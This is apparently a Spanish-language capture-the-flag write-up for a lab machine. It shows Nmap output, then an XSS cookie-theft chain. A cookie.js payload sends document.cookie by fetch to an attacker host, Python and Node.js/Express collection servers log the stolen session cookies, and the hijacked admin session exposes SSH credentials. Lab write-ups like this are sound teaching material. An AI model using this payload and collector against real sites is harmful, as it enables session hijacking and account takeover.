Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-18 09:21 CET
Nmap scan report for openredirect.dl (172.17.0.2)
Host is up (0.000033s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 74:91:a6:35:97:31:ba:8b:f6:ad:a8:c8:87:76:3d:78 (ECDSA)
|_ 256 c6:01:86:62:e3:09:19:ca:d5:66:3f:fa:2d:9a:d8:91 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to http://trr0rlabs.bbl/
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.80 seconds
Vemos que tiene un puerto 80, que si entramos nos lleva hacia un dominio llamado trr0rlabs.bbl por lo que tendremos que añadirlo a nuestro archivo hosts.
nano /etc/hosts
#Dentro del nano
<IP> trr0rlabs.bbl
Lo guardamos y ahora volvemos a entrar o recargar la pagina.
Veremos una pagina web y una cosa bastante interesante es que tenemos el rol del user por lo que tendremos que intentar conseguir el de admin supongo, pero como este laboratorio se centra en el XSS vamos a intentar realizar este tipo de inyecciones a ver que encontramos.
Si nos vamos a la seccion de Submit writeup veremos un formulario para poder subir nuestro writeup de alguna maquina, pero si en vez de poner el link de dicho writeup ponemos un link hacia nuestro servidor de python3 con nuestra IP para ver si recibimos un intento de que se descargara algo, veremos lo siguiente:
Servidor de Python3
python3 -m http.server 80
Formulario de pagina
Nombre: test
Link: http://<IP_ATTACKER>/
Y si esperamos un ratito veremos lo siguiente en el servidor de python3.
Veremos que funciono, por lo que vamos a intentar obtener alguna Cookie a ver si tenemos suerte.
cookie.js
from http.server import BaseHTTPRequestHandler, HTTPServer
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("🔥 Cookie robada:", self.path)
with open("cookies.txt", "a") as file:
file.write(self.path + "\n")
self.send_response(200)
self.end_headers()
server = HTTPServer(("0.0.0.0", 8000), RequestHandler)
print("🚀 Esperando cookies...")
server.serve_forever()
Con esto lo que vamos hacer es que nos llegara la cookie en nuestro servidor de python3 en el puerto 8000, ahora si probamos a meter el link con dicho archivo veremos que lo obtiene pero no obtenemos nada, por lo que seguiremos buscando.
Ahora vamos a realizar un poco de fuzzing para ver que encontramos:
Vemos que esta funcionando y se nos esta ejecutando un XSS ahora nuestro objetivo es obtener la Cookie del usuario admin o por lo menos intentarlo.
cookie.js (Modificado)
// Obtener las cookies
const cookies = document.cookie;
// Enviar las cookies a tu servidor
fetch('http://<IP_ATTACKER>:8000/receive_cookie?cookie=' + encodeURIComponent(cookies))
.then(response => response.text())
.then(data => console.log("Cookies enviadas:", data))
.catch(error => console.error("Error al enviar cookies:", error));
PARA QUE EL SERVIDOR OBTENGA EL ARCHIVO
python3 -m http.server 80
PARA RECIBIR COOKIE
python3 -m http.server 8000
Si nosotros metemos este payload para importar un archivo de forma externa de nuestra IP atacante del archivo creado anteriormente:
Si vamos a la consola veremos que nos lo esta bloqueando por el Origin ya que la cabecera de origen nos lo esta bloqueando:
Por lo que vamos a crear un servidor de Node.js para realizar un bypass de esta cabecera y que asi nos funcione para robar la Cookie
Antes vamos a instalar algunas dependencias que vamos a necesitar.
npm install express cors
Ahora vamos a utilizar el mismo archivo cookie.js y vamos a establecerlo en la raiz del servidor Node.js.
npm init -y
Info:
Wrote to /home/d1se0/Desktop/package.json:
{
"name": "desktop",
"version": "1.0.0",
"description": "",
"main": "cookie.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywords": [],
"author": "",
"license": "ISC"
}
Ahora vamos a crear el archivo llamado server.js para que desde la pagina acceda a dicho servidor y directamente inyecte en la cabecera el Origin de nuestro servidor y pueda cargar el archivo sin ningun problema.
server.js
const express = require('express');
const cors = require('cors');
const path = require('path');
const fs = require('fs'); // Asegúrate de importar 'fs'
const app = express();
// Habilitar CORS para todas las solicitudes
app.use(cors());
// Servir el archivo cookie.js
app.get('/cookie.js', (req, res) => {
res.sendFile(path.join(__dirname, 'cookie.js'));
});
// Endpoint para recibir las cookies
app.get('/receive_cookie', (req, res) => {
const cookie = req.query.cookie;
if (cookie) {
console.log("Cookie recibida: " + cookie);
fs.appendFile('cookies.txt', cookie + '\n', err => {
if (err) throw err;
console.log('Cookie guardada');
});
res.send('Cookie recibida');
} else {
res.send('No cookie');
}
});
// Iniciar el servidor en el puerto 8000
app.listen(8000, () => {
console.log('Servidor Node.js corriendo en http://localhost:8000');
});
Ahora vamos a iniciar el servidor con node de la siguiente forma:
node server.js
Si nos vamos a la URL tendremos que poner lo mismo de antes, como en el principio de la siguiente forma:
En la consola de la pagina veremos que ha funcionado:
Y si volvemos a donde tenemos lanzado el servidor de Node.js veremos lo siguiente:
Servidor Node.js corriendo en http://localhost:8000
Cookie recibida: PHPSESSID=8b38v6l7en8o6uasc4c281gi6p
Cookie guardada
Vemos que lo capturo de forma correcta, pero sera la de nuestro usuario para obtener la del admin vamos a enviar en el campo de link de enviar el writeup el siguiente link:
Ahora si esperamos un poco veremos que nos llega la Cookie del usuario admin.
Servidor Node.js corriendo en http://localhost:8000
Cookie recibida: PHPSESSID=ch5tusd7c1p83i5f1s38nps6k6
Cookie guardada
Vemos que ha funcionado y ahora solo tendremos que inspeccionar la pagina, irnos a Storage y en la parte de Cookie reemplazaremos la que tenemos actualmente por la del admin:
Con esto veremos que somos el roladmin y si nos vamos a la pestaña de admin veremos que lo hemos conseguido:
Vemos que las credenciales para el SSH aparecen ahi, pero no funciona la contraseña, si metemos por delante la palabra trr0rson veremos que funciona por lo que las credenciales serian las siguientes:
User: admin
Pass: trr0radmiñç
SSH
ssh admin@<IP>
Metemos como contraseña trr0radmiñç y veremos que estamos dentro, seguidamente se nos mostrara la flag.
admin@172.17.0.2's password:
Permission denied, please try again.
admin@172.17.0.2's password:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.11.2-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Sun Feb 2 11:05:06 2025 from 172.17.0.1
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
4e2126c3a869842968d00c163e0a2749
admin@74cc92267962:~$ whoami
admin
flag
4e2126c3a869842968d00c163e0a2749
Por lo que habremos terminado la maquina pudiendo haber explotado la vulnerabilidad XSS de un robo de Cookie.